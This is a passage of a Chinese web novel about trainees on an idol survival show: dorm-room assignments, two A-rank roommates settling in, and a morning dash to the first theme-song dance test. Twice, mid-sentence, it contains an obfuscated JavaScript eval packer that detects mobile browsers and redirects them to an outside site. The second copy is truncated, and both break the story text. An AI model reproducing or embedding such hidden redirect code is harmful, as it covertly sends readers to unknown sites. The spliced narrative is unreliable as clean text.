工作人员说完，练习生们面面相觑，下意识都开始绞尽脑汁回忆自己大概是什么时候上车的，身边挨着的有谁。 大家上车时都乌泱泱一起，但基本都跟熟悉起来的人一起走。如果是恰好同等级，那么关系好的人就能被分到一起。 这种分配方式对练习生们来说多少有点新鲜，以往基本都是他们自己哗啦啦冲进去选，少数是节目组按照看似随机实则有意的方式直接分配。 眼下这种规则具有一定随机性，一起行动又同等级的练习生也有很大几率一起住。 唯一的问题是，效率要低些，要工作人员挨个宣布分配结果，不如练习生们直接冲更快。 中间的人记不清自己的具体位置，第一个和最后一个上车的人却毫无悬念，想都不用想。 最后一个踏上大巴车的莫汕走得很安详：“…………” 谢谢，躺平了，随便赏个能住的房间让他速速下榻好吗。 摆烂后后知后觉意识到某个问题，莫汕嘴里莫名发干，咔哒咔哒扭头朝着原翊杉艰涩开口：“所以……我们不但房间没得选，还要，等到最后才能进房间睡觉？！” 原翊杉表情麻木：“……别说了，我也不是很想活。” 要不就在这个大厅直接就地躺下进入梦乡吧。 两人的友谊再一次岌岌可危，莫汕抱着自己的背包小声但清晰地抱怨：“都怪你非要去卫生间，搞得我们最后才上车。” 原翊杉震惊于友情的薄弱与人性的不堪：“hello，人有三急，这是我能控制的吗？！” 莫汕刚要张口，原翊杉进入尴尬破防的委屈防御状态：“我也没让你陪我一起上厕所！！” 莫汕沉默两秒，指了指围了一圈的摄像：“……翊杉啊，有镜头在呢，咱们还是要慎言啊。” 原翊杉一时忘了有镜头拍，且身上挂着的收音设备也没摘，顿时闭嘴。正想着难得队友也能记得提醒他一回，就听到莫汕犹豫着用做贼般的声音提建议。 “换个措辞，你可以改成，你没有让我跟你一起’更衣’。” 莫汕：“是不是文雅多了？” 原翊杉：“…………” 文雅你大爷的。 工作人员：“下面公布第一组选房间的练习生。” 随着这句话落下，练习生们面前的电子屏亮起来，赫然是摄像师跟拍的记录。 为了防止被质疑有剧本，节目组贴心地通过大厅里的电子屏，快进播放视频证据。 秦昭不可能事无巨细记得十年前的每个细节，听工作人员说完依然对这环节没什么印象。 主要还是这种零碎的信息对秦昭来说不重要。 第一个上车的无疑是幸运儿，能率先直奔房间放行李抓紧睡觉。 陆陆续续有人拎着行李入住。 秦昭排在偏靠前的位置，工作人员很快念到了他的名字。 “下一位是A等级，秦昭——” 练习生们抬头看大屏，倍速的视频暂停在秦昭上车的画面，随后继续快进，略过他身后B等级的陆诤和顾傅恒，略过C等级的林丞，D等级的徐闻，最终停在另一个主人公身上。 初舞台的A等级一共就只有八个人，王不见王的概率某种程度可以说是零，碰巧凑在一起也称得上有点缘分。 “下一位上车的A等级练习生，”名字烫嘴一般的在嘴里过了一圈，工作人员点名：“——安夏纱。” 两人视线在屏幕的剪影上停顿了下，同时去找未来室友的身影。 安夏纱率先拎起自己的行李箱朝前走。 不同于秦昭跟陆诤和顾傅恒站在人群中，安夏纱显然是刻意避开人群，靠在宿舍大厅的圆形承重柱上，自己一个人光明正大打瞌睡。 首次录制时间超过二十个小时，多数人已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191334|180559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经在节目中找到了能聊得来的“朋友”，总要找个一起活动的搭子，安夏纱却几乎跟周围的练习生零交流。 他不主动跟别人说话，坐在他周围的练习生们怕在镜头前被拒绝对话后尴尬，导致他周遭几乎绝缘，整场都像一匹孤狼。 秦昭回头，看到安夏纱拎着箱子越过乌压压的人头朝着这边走。 他自己站在人群外的样子，莫名有点像春游时被无形排挤的小孩子。 但没人会觉得是安夏纱被孤立了。就算真有孤立这一说，那也是安夏纱本人孤立所有人，而不是别人不愿意理他。 开播后的人气高低，事实上练习生们自己参与完整场录制，心里就能多少有点数。 秦昭和安夏纱，无疑会在出道位内，更有可能的是，成为未来竞争第一位置的对手。 两个潜在的大热选手在无外界干预的情况下，巧合的被分配到同一个房间，很多练习生困意都被扫飞了，搞得差点起鸡皮疙瘩。 “这俩一起住，节目占比肯定会很高吧……羡慕。” “帅哥终究还是跟帅哥一起玩了吗？” “你在说什么呢，A等级哪个长得不好看啊，慎言哈！” 发现言下之意似乎有暗指部分A等级没有特别帅的嫌疑，该练习生紧急补救，朝着自己的嘴巴上懊恼地拍了两下，老实闭嘴了。 安夏纱在秦昭旁边站定，手灵活的像弹吉他般波浪形打了个招呼：“嗨。” 秦昭看了看新鲜出炉挂着友好笑容的室友，从工作人员手中接过递来的两套A等级的运动服，顺手将另一套递给了安夏纱，奇怪地又看了他一眼。 秦昭其实有个疑问。 安夏纱按理说看谁都是马赛克。 他怎么在乱糟糟的人群里这么快找到自己的？ 流程要尽快走，秦昭暂时压下疑问，回头跟陆诤简单说了声“明天见”，顺便朝眼神炙热很难忽视的顾傅恒微微点了下头，就跟安夏纱一起上楼了。 A等级的房间就在二楼。 安夏纱看不清路，又对宿舍结构不熟悉，非主观意愿走得很磕磕绊绊。 两人还得快点去选住哪一间，秦昭本来耐心在等，后来实在觉得这样效率实在太低，终于开口。 “你不介意的话。” 秦昭抬起胳膊，示意安夏纱可以抓住他，他带着他一起走。 安夏纱眯起眼辨别了一下秦昭的表情，歪头迟疑两秒，耸耸肩抬手不客气地搭上秦昭的小臂，用同样的话回答：“你不介意的话。” 14.第 14 章 目送秦昭跟安夏纱先行离开，陆诤默默看了眼站在他身后一脸遗憾的顾傅恒。 “……”好吧，其中一个室友没悬念了。 陆诤：不解.jpg。 所以这家伙到底为什么一直跟着秦昭当跟屁虫啊？ 陆诤完全不相信什么粉丝的说法，他思来想去，浅浅判断这个顾傅恒是想蹭秦昭的热度。 感受到有人在看自己，顾傅恒条件反射看回去，心里想的跟陆诤如出一辙。 他知道陆诤跟秦昭是同班同学。但是真熟还是假熟，他日后自有判断。 脑回路类似的两人大眼瞪小眼，同时在心里懊恼了一番初舞台竟然没拿到A，要跟这种疑似贴着秦昭炒热度的家伙成为室友了。 两个秦昭激推就这样狭路相逢，各藏心事，都琢磨着之后得旁敲侧击一下对方的真实想法，面上分别露出大聪明一般的热情笑容。 陆诤：“好巧好巧。” 顾傅恒：“缘分，缘分。” B等级是三人间，工作人员很快念出第三个名字：“姜霈。” 姜霈早就准备好了。 他在屏幕上看到林丞的时候，就知道接下来该轮到自己了，陆诤跟自己一样是B等级。 Heartbeat的三人组一直一起行动，贺湜曼刚刚已经跟着蒂齐亚诺先行上楼选房间了，现在就剩下一个林丞还在等着叫名字，但也快了。 姜霈揉了下老幺脑袋叮嘱：“晚上好好睡一觉，有什么事明天跟大哥说。” 林丞老老实实地点了点头，在陌生环境稍微有点分离焦虑，但不想给姜霈添麻烦：“知道了姜霈哥，你也好好休息，不用担心啦。” 姜霈不太放心地一步三回头，拖着行李箱跟等待他的陆诤和顾傅恒汇合。 B等级房间在三楼，跟A等级不在同一层。 建筑物设计得很巧妙，通往二楼的是单独的旋转楼梯，更高层有其他的通道，直接从一楼去往三楼。 也就是说，A等级的房间并不在B等级回房间途经的位置。 秦昭已经将A等级剩下可供选择的五个房间转了一圈。 不清楚是节目组重新装修过，还是本身这栋建筑就是这样设计的，每个房间的元素都截然不同，类似主题公园里自带的酒店房间。 A01号房天花板上画着鲸鱼，整体是蓝色系仿海底的布置。床头各有一扇木质的雕花假窗户，墙壁贴着海星、贝壳，床单分别是海绵宝宝和派大星。 秦昭知道节目组之后会推出付费“花絮”，主要的场所就是宿舍和练习室，这也算是营销看点的一部分。 除海底主题外，剩下的四个房间中最令人眼前一亮的是魔法主题房间，带欧式壁炉，中世纪风格的四角床，天花板挂着很多带翅膀的长耳朵小精灵。 安夏纱的镜框眼镜在行李箱里，他表示选房间由秦昭自己一个人决定就好，他对什么样的主题装潢没有要求。 但两人迟迟没入住的问题不在秦昭，排在他们前面的蒂齐亚诺还没决定好。 秦昭靠在走廊的墙边，看着蒂齐亚诺纠结地在跟前走来走去。 他倒是能理解蒂齐亚诺一时无法决定。 目前未知之后还会不会换房间，每个房间风格差别这么大，各有可取之处，无异于两个可爱公仔只能选一个带回家。 对秦昭和安夏纱来说，住哪个房间没什么所谓，对有的人来说却很重要，难取舍。 跟安夏纱一样不参与意见的贺湜曼窝在角落里，看看默不作声耐心等待的秦昭，又看看打着呵欠半闭着眼的安夏纱，略带紧张地小声催促：“亚，亚诺哥，你还没想好吗？” 蒂齐亚诺原地顿住，先是听了听耳返里的翻译，随后脸皱成一团，举起双手抱住自己的脑袋：“oh，我，太difficult！” 贺湜曼：“……”哥，你真的是童心未泯。 意识到贺湜曼其实是在提醒他秦昭在等，蒂齐亚诺不好意思继续选择困难，两眼一闭跟贺湜曼征求意见：“我们，住，rose房？” “好啊好啊！”贺湜曼生怕不羁爱浪漫的这哥又陷入苦恼中，抱着自己的行李，小鸡啄米般点点头，火速冲进了蒂齐亚诺所说的2号房间，不给他改变主意的机会。 满房间随处可见假花和鲜花，墙壁上画着小桥流水，大概会让蒂齐亚诺联想到家乡威尼斯的水上街道。 背着大背包经过时，蒂齐亚诺歉意地揉了揉自己的黑卷发，朝秦昭和安夏纱露出自带温柔缱绻氛围的笑来：“buonanotte！（晚安）scusa！（对不起）good night，tiamo（爱你）……！” 节目组不可能为了寥寥几个外国练习生，给一百个人都配备实时翻译，那开销太大也没必要。 所以蒂齐亚诺能通过翻译知道练习生们在说什么，但他本人说意大利语时，基本没有人知道他在叽里咕噜表达什么。 好在表情和肢体语言是通用的。 秦昭只能听懂一句“对不起”和“我爱你”，不太能适应对方随地大小表白的热情，眨了眨眼反应了下点点头：“……晚安。” 安夏纱等待的过程中一直松弛地蹲着休息，撑着下巴朝蒂齐亚诺挥了挥手笑：“看得出你选择困难很严重了哥们，tiamo。” 秦昭看了眼安夏纱：“……” 首先你说什么大实话。 其次你怎么也跟着回tiamo。 安夏纱蹲在地上歪头看秦昭，拖着困得快要昏迷的长调子问：“我们住哪？” 秦昭指指他们隔壁的魔法主题房间：“三号房。” “Ok.”安夏纱干脆地站起身，一秒也不拖沓地拉着行李箱就杀了过去。 隔壁，贺湜曼在关门前探出个脑袋来，腼腆地朝着秦昭笑了笑：“以后我，我们就是邻居啦。晚安。” 秦昭回了一句晚安后，贺湜曼像鼓起勇气后躲回巢穴里的小动物一样，动作轻手轻脚地关上了房间门。 而秦昭花了几秒时间思考。贺湜曼明显怕生，一紧张就容易结巴。蒂齐亚诺中文又不太好，翻译不在线的话，两个人要怎么交流？ 秦昭摇摇头，这不关他的事。 他从行李箱里拿出洗漱用品和换洗衣服，安夏纱拿着化妆棉停住，两人一站一蹲，同时看向洗手间。 “一起先卸个妆？” “嗯。” 洗手间不是很大，同样装修成了中世纪魔法主题的样子，洗手盆都透着贵族庄园特有的华丽。 每个角落都安装好了摄像头，秦昭看了眼镜子上方的镜头，犹豫了下扭头确认，待会洗澡的话不会拍到奇怪的地方。 干湿分离，分离出的隔间是木门，不透明。 洗浴的位置看角度不在拍摄范围内。 安夏纱显然对卸妆很有经验，三下五除二搞定。 秦昭上手就没那么快了，他只是闭着眼用力在脸上擦来擦去。 两个并排的水龙头，安夏纱洗完脸，秦昭还在跟卸妆油大战中。 安夏纱有点想笑。 他戴上从行李箱里翻出来的镜框眼镜，叼着牙刷随口提醒：“不用那么使劲的。” 有了眼镜后世界突然清晰，安夏纱困意都驱散了些。 他偏头，终于有机会好好端详下室友究竟长什么样。 秦昭冷白皮，担心卸妆不干净用力过猛，额头、脸颊，鼻尖，都红红的。 他听见安夏纱说的话后，手上的动作停了停，下意识睁开眼转过头问：“所以现在这样就行了吗？” 下一秒，秦昭感觉油乎乎的卸妆水渗到了眼睛里，火辣辣的。他低头想揉，太困了脑子险些当机，又紧急意识到手上也有卸妆油，一时间狂眨眼睛。 安夏纱：“…………” 他真不是故意的，但是他没忍住笑了下。 笑完他又涌现出负罪感，觉得这时候笑不合适，抱歉地赶紧拿了张抽纸给秦昭。 秦昭没接那张抽纸，他直接用水冲了，仔细冲了一圈眼睛周围。 “没事吧？” 安夏纱感觉自己刚才笑了有点缺德，亡羊补牢地充满歉意问了一句。 “嗯。” 除了有点发涩之外没什么问题，秦昭不想搭理安夏纱，他听见他刚刚似乎在笑。 安夏纱努力补救，叼着牙刷含含糊糊表态：“一会儿你先洗，我可以等。” 秦昭一点没客气：“嗯，那你快刷。” 安夏纱立刻加速：“……” 怎么还隐约感觉秦昭这人有点记仇呢。 两人先后洗漱完，到真正躺下休息，已经快要天亮了。 连轴转近乎一天一夜，秦昭几乎是一沾枕头，就陷入昏睡。 …… 睡梦持续到被天花板上的音响吵醒那一刻。 秦昭承认被方星琰的声音吵醒的时候，有种杀人的冲动。 “请各位练习生立刻前往A栋一层的礼堂，迎接你们的第一场考验。” “等待你们的，将是《星光熠熠》的第一道关卡。” “——主题曲测评。” “最先到达的十名练习生，将有隐藏奖励赠送给大家。” “那么，请各位开始冲刺吧！” 秦昭凭借意志力翻身坐起。 没办法。 这个奖励，秦昭还挺想要的。 昨晚实在太困，他就算还记得，也没什么太大的意义。 他一共只睡了不到三个小时，接下来的主题曲唱跳练习需要很大的体力和精神支撑，他不能为了奖励连觉都不睡。 就这么公平竞争也好。 秦昭动作很快。 他换上节目组昨晚给选手们的运动服。 不同于往届的选秀，A等级的运动服是白色的。 区别在于，胸前印有金色徽章标志，藤蔓缠绕着中间精致的花体字母A，A上方的王冠很显眼。 秦昭昨晚观察过了，B等级是蓝色运动制服，C等级绿色，D等级黄色，F等级棕色。 除A以外，其他等级的运动制服胸前没有任何标志，而是像往届一样印在背后，也没有特殊图案。 秦昭飞快洗了把脸，刷牙，就准备冲刺。 离开前，他瞥了一眼仍然一动不动埋头在被窝里的安夏纱。 秦昭已经发现安夏纱是个睡神。 在秦昭换衣服洗漱的这套过程中，安夏纱从头到尾毫无反应，似乎完全听不到那么大的广播声，安详的跟忙碌的秦昭仿佛不在一个世界里。 秦昭套运动服时思考过一秒，是扔下安夏纱不管自己先出发去集合，还是叫他一起。 考虑到宿舍里也有镜头，完全不管室友的话，有可能会有一定的争议。 他喊了一声“安夏纱”。 对方挠了挠脸，又不动了。 再喊两声，安夏纱依然稳如泰山，听力如同走了一百年。 秦昭：“……” 他很干脆地直接转身往外跑。 再见睡神。 争议就争议吧。 秦昭往外跑的时候，刚好装上单腿蹦跶着往外跳的贺湜曼。 贺湜曼正急得恨不能化身八爪鱼，又怕绊倒所以不得不着急忙慌系鞋带，所以蹦跶着边系边前进。 没等他打招呼，贺湜曼就看到秦昭像一阵风一样，从自己面前呼啸着飞过。 几秒钟就没影了。 贺湜曼睁大眼睛：“……” 他呆呆反应两秒，风风火火朝着秦昭已经看不见的背影追过去。 妈呀。秦昭跑得也太快了吧！！ 快得像在飞的秦昭陆续碰到了很多往外跑的人。 他速度不减，超过了一个又一个人，包括比他早一点到门口的陆诤。 陆诤看到秦昭后刚举起手要打招呼，嘴角的笑容还没有完全张开，就听到秦昭从风里飘来的声音。 “礼堂见。” 陆诤风中凌乱，迅速调整状态狂追。 提前在礼堂内部等待的摄像师们站成一排，就看到领头的第一个练习生，轰轰烈烈地杀进了大门。 紧接着是第二个，第三个…… “yes！！” “呼，呼……第五！！我连脸都没洗！！” “奖励我来了啊啊啊啊啊！！” 大清早的，莫名其妙的就燃起来了。 秦昭进到礼堂之后数了数，确认自己是第八，在前十名以内。 他平复了一下因加速跑动而急促的呼吸，这才有时间原地做下简单的拉伸。 秦昭平时本来就有每天晨跑的习惯，倒是对一早跑步很适应。 如果不是试着喊安夏纱起床浪费了一点时间，秦昭能到的更早。 陆诤跑得没秦昭快，但也赶上了奖励的尾巴，第十个进入礼堂。 贺湜曼体力相比较起来就差得太远了，他跟秦昭明明是几乎同一时间在宿舍门口出发的，结果等他从宿舍跑到礼堂，空旷的大厅内已经乌压压一大片人头。 别说前十了，连五十名都不一定有。 他喘着粗气在礼堂里寻找了半天，终于看到跟陆诤正站在一起聊天的秦昭。 贺湜曼喘得像头刚犁完地的牛，当他发现秦昭此刻呼吸平稳，完全跟没事儿人一样时，顿时感到无比凄凉。 明明大家都是同龄人。 为什么秦昭运动神经那么发达，他明明也跳舞的……！可是秦昭怎么看都很轻松，贺湜曼感觉自己快要厥过去了。 就很狼狈。 正不乏悲伤的想着，贺湜曼就听到有人在叫自己的名字。 他扭头，就看到自己的好哥哥好弟弟正朝着自己悠悠走过来。 姜霈跟林丞在半路上汇合，两人是散布一样溜达着走过来的，根本没跑。 他们看到贺湜曼这么喘，姜霈还很高兴地问了一句：“小曼，你跑进前十了吗？” 贺湜曼眨眨眼：“……没有啊哥。我，我来的时候人数都过半了吧，大概。” 你们怎么会这么想？ 林丞挠挠头：“啊，那哥你跑这么累干嘛呀？” 贺湜曼茫然地思考两秒。 ……对哦。 我干嘛跑这么快啊！又赢不了！ 贺湜曼后知后觉地意识到，他满脑子都光顾着追秦昭了，结果连秦昭的尾气都没看到。 都忘了最开始是为了什么而跑了。 他尴尬目移：“呃……我，我想一会儿肯定要跳舞，先热个身。” 跑步达人秦昭正在听陆诤猜测隐藏奖励会是什么。 这个秦昭已经知道了，所以他只是随口附和两句，没有任何好奇心。 导师们陆续出现在礼堂前。 秦昭在人群里看了一圈，不知道某个叫不醒的睡神会不会迟到。 就在导师即将开始发言的那一刻，安夏纱顶着一头乱七八糟的头发赶到了。 礼堂中心正举着麦克风的方星琰导师看了一眼门口，通过醒目的发色认出了撑着膝盖喘气的是谁。 “安夏纱，昨晚睡得好吗？” 这个发问多少带着点不太满意的意思，也有一部分调侃。 礼堂空旷，导师们发言后练习生们都配合的安静下来，所以安夏纱的声音清晰回荡在礼堂里，大家都能听清。 安夏纱摇头否认：“我睡眠质量一直都挺差的，方老师，没睡好。” 秦昭微微偏了偏头：“……？” 你？睡觉质量差？ 叫都叫不醒。 方星琰导师本意不是真要问安夏纱睡得怎么样，但对方这么回答了，方老师也不好一上来就表现得太不近人情，也就没再说什么，示意安夏纱归队。 工作人员提前跟练习生们说过，按照从A等级到F等级的顺序，以等级为单位，从前到后站成排。 安夏纱穿过人群走到最前方的A等级队列，八个人就差他了。 他目光转了转，微笑着对秦昭左手边的万廷宇说了声“不好意思”，很自然地挤进两人中间，站定在秦昭旁边。 秦昭看看安夏纱。 安夏纱看了眼台上正说开场白的方星琰，飞快对秦昭低声说了一句：“早啊。” 秦昭有点意外，安夏纱没有说“你怎么没叫我”之类的话。 他回头，对方表情很淡定，还小小打了个呵欠。 安夏纱没问，秦昭反倒停顿两秒，解释了一句。 “我叫了你好几遍，你没听到。我就先出来了。” “哦没事。”安夏纱也挺意外地看了看秦昭，笑笑，“我跑过来的时候有人告诉我了，说前十名有奖励，你喊我的话铁没机会了。” 说完，安夏纱顺势多问了一句：“你进前十没？” 秦昭肩膀放松了些：“进了。” “强啊。”安夏纱无声做了个鼓掌的动作，正悄悄拍着呢，台上的方星琰导师无语地扫了安夏纱一眼，一切警告尽在不言中。 “……” 安夏纱目不斜视地把手放下了。 方星琰导师大致说了几句鼓动的话，就让练习生们看背后的大屏幕。 “那么现在请看主题曲示范。” 练习室背景的画面一出现，场内就爆发出一阵捧场的呼声。 原因无他，负责给大家跳示范舞蹈的老师，为首的就是舞蹈导师许年纶。 许年纶是国内数一数二的舞者，来示范主题曲舞蹈实属大材小用，练习生们都看得很认真。 秦昭视线一错不错，专注去看每一个动作的细节。 A班有不少舞担，都在跟着许年纶导师的示范实时复刻，小幅度地跟着跳。 安夏纱今天是戴着镜框眼镜来的。公司只说初舞台给人的第一印象很重要，没有限制非要让他一直顶着近视眼到处乱撞。 等他麦粒肿好了，就可以重新戴隐形了。 秦昭余光能捕捉到安夏纱也在跟着跳，几乎从头到尾都能完整一比一复刻。 意识到这个差距在，秦昭看得更认真了。 三分钟短的吓人又格外漫长。 示范视频播放期间，练习生们大气都不敢出，全都提起十二万分的劲头去看，没人说话。 等播完，场馆内顿时响起嘈杂的悲鸣。 “老天这也太难了……副歌舞蹈简直了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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竞技类综艺，就是一场看似并不血腥的厮杀，强就是强，弱就是弱。 掩饰不了，一切都残酷又真实地展现在镜头里。 导师们说前十名到场的隐藏奖励会留在关键节点揭晓。 练习生们为了争名额基本都是素面朝天，很多没洗脸就直接冲过来了，现在看着周围一排黑漆漆的摄像机，才想起来后悔。 形象管理可以说是毁于一旦。 这也是选秀里明明白白展现给观众们的另一个直观对比：素颜。 原生条件在摄像机无情的拍摄下一览无余。 离开了昨天演播厅内的超强打光，礼堂内就是普通的灯光效果。 很多练习生卸了妆脸色暗沉发黄，因为妆画的次数多了，皮肤也没有特别光滑。 方星琰导师不需要授课，许年纶导师上舞蹈课的时候，方老师就站在一边观察练习生们。 秦昭站在第一排，整个人白的发光。 方星琰很难控制自己的视线，总是不自觉就将目光落在秦昭身上。 有点出乎方星琰意料的是，秦昭学舞比他想象中得要快。 看似同样的起点，不同的人学习速度就是不一样，这一点方星琰一路走来再清楚不过了。 A等级平均实力的确强，安夏纱，万廷宇，徐知晗，这几个都算得上舞蹈非常突出的。 八个人里面，舞担占了三个。 这个比例其实没有多惊人。现在的爱豆，缺的一直都不是舞担，而是主唱。 太多团火不起来，就是因为放眼放去全是舞担，主唱和rap担都很稀缺。 柏斯汭是难得实力亮眼的rapper，他初舞台的舞蹈看着也不差，所以毫无疑问地拿了A。 但现在…… 方星琰的目光在柏斯汭和秦昭之间来回转。 柏斯汭的初舞台，这么看来是至少练了好几个月，才能达到那么高的水准。 至于秦昭，方星琰知道他来参加节目是被节目组挖来的，也就是说，是临时决定的，准备时间不超过一个月。 两人学主题曲舞蹈的进度，差的很明显。 最终结果他们或许都能跳得像模像样，但选秀的表现就是差在转换效率，没有那么多的时间让所有人练习到完美。 主题曲考核倒计时不过三天，要同时兼顾难度都不低的唱跳，每届这个环节都会发生等级大变动。 许年纶导师断断续续授课两小时，又给了练习生们一个小时的练习时间。 开始学舞满打满算三小时后，导师们宣布要按照等级顺序，依次进行中间突击检查。 听到这个消息，绝大多数人都很崩溃。 “不是，这才刚刚开始学啊，这要怎么直接跳啊！！” “这个节奏是认真的吗……这合理吗……” “没事，有A等级的在前面顶着，他们检查的时候，咱们还能有时间再抓紧练练。” “这不是突击检查，这是公开处刑……” A班站在最前面。 这也就意味着，后面的练习生们，全都能看清前面接受考核的A等级练习生跳得如何。 要说公开处刑，倒是非常公平。 哪怕是A等级，跳得不好也会被摊开在所有人眼前，无处可藏。 秦昭冷静地在心里记着动作。 贺湜曼跟柏斯汭差不多，他的定位是vocal，对唱功有自信，但跳舞纯粹是按着同一支舞蹈狂练出来的效果，换一支舞就原形毕露。 两人的区别是，贺湜曼的紧张全都摆在脸上，任谁看都是一幅如临大敌的样子。 而柏斯汭心态更好，不是很担忧。 许年纶导师在台上单膝着地蹲下来，朝着A等级的八个人爽快低勾了勾手：“来吧，我看看你们学得如何。” 后面的练习生们有的在临时抱佛脚，有的则觉得这么短时间练不练也没差别了，干脆停下动作围观高等级练习生跳得怎么样。 安夏纱伸展了一下胳膊，放松地转了转脚腕，回头看了眼自己的室友。 这位他接触时间不长的室友，比他想象中的各方面都要强很多。 心理素质肉眼可见。贺湜曼紧张的脸通红，唇也紧绷着抿起，柏斯汭则是知道自己跳舞一般半摆烂所以轻松，秦昭不一样。 安夏纱完全看不出秦昭有摆烂的迹象。 过去的三个小时里，他有留意秦昭的情况。 秦昭记忆力超乎想象的好。 他的运动神经显然也很突出，两相结合，四年的自由搏击基础让他对肢体的控制能力很精细，怎么看都不像是常见的初学者。 主题曲的前奏响起。 只跳不唱，难度相对较低。毕竟是A等级，八个人在副歌前的部分都进行的很顺利。 难度唯一称得上高的，就是副歌部分的舞蹈。 柏斯汭手脚有点不太听使唤，到最后乱成一团，他自己都不知道自己在跳什么。 安夏纱跟万廷宇像是在跳齐舞。 两个舞担挨着，每一个动作都处理得太过干净，像是上了发条精准控制的舞蹈机器。 甚至跳出了自己的风格。 出乎所有人意料的是，秦昭竟然跟得上。 他的舞蹈能看得出暂时没有身边的舞担那么标准，但都是对的，一个动作都没跳错。 副歌部分，贺湜曼跟柏斯汭都已经被迫进入摆烂状态，秦昭的完成度却能达到百分之八十。 剩下的二十不是他记不住动作，而是跳得没那么完美。 三个小时速成，整首歌竟然都能跟着跳完整，这已经算得上是奇迹。 要知道，一个月前，秦昭还是纯粹的素人。 一遍跳完，不止许年纶导师记住了秦昭，A等级背后始终看着他们的其他等级练习生们，也都对秦昭的表现印象深刻。 本来觉得跳不好也实属正常的练习生，都收起了内心的侥幸心理。 并不是隐匿在人群里，镜头或许不会给他们特写，就代表他们能逃过导师的法眼。 导师或许不会单独批评他们某个人，但他们来选秀的目的，不是来给导师当学生的，而是……要在一百个人中，脱颖而出，让观众们看到自己。 他们要做的不是隐匿在人群中，而是闪闪发光。 make me bright. 并不只是星推荐官们让他们变得闪亮。 而是，他们要先闪亮起来，才能让星推荐官们看到他们，从而让他们变得更加闪亮。 灰暗的星星，再怎么擦拭，都无法闪闪发光。 宝珠蒙尘，重见天日，首先要是真的宝珠。 秦昭不知道自己激发起了很多个人的斗志。 他内心其实对自己不太满意，但这已经是他目前能做到的最好。 没关系，他告诉自己。 一切才刚刚开始。 他会不断往上走，直到走到最明亮的顶端。